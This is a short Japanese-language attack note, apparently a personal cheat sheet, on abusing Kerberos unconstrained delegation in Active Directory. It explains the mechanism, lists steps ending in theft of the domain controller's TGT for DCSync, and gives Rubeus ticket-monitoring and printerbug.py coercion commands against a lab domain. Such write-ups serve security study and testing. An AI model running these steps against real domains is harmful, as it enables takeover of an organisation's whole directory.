Unconstrained Delegation(制約なし委任)の悪用

active-directory kerberos delegation

概要

制約なし委任(Unconstrained Delegation)が有効なホストは、そのホストに Kerberos 認証で接続してきたユーザーの TGT を、委任のためにメモリ上にキャッシュする。通常のサービスアクセスでは TGS だけで足りるが、委任を使うサービスは「後で別のサービスにそのユーザーとしてアクセスする」ために TGT 自体を受け取って保持できる。

このホストを攻撃者が掌握できれば、DC(ドメインコントローラのコンピュータアカウント)に何らかの方法で認証を強制させることで、DC の TGT をそのホスト上に引き寄せて奪取できる。DC の TGT が手に入れば、そのままドメイン管理者相当の操作(DCSync など)につなげられる。

手順

  1. 制約なし委任が有効なコンピュータアカウントを特定する(BloodHound などで確認できる)。
  2. そのホストを攻撃者が制御できる状態にする(既存の侵害や別の権限昇格で確保)。
  3. ホスト上で Kerberos チケットの受信を監視する。
  4. 何らかの強制認証手法(プリンタスプーラの強制認証バグなど)で、DC にそのホストへ認証させる。
  5. DC のマシンアカウントの TGT がホスト上に届くので、それを窃取して利用する。

コマンド

# ホスト上でチケット監視
.\Rubeus.exe monitor /interval:5 /nowrap
# DC の認証を強制(プリンタスプーラの強制認証を利用する例)
printerbug.py lab.local/user:'Password123'@<DC_IP> <attacker_host>

DC がレスポンスのために監視対象ホストへアクセスしてきたタイミングで、DC のマシンアカウント TGT が監視中のツールに捕捉される。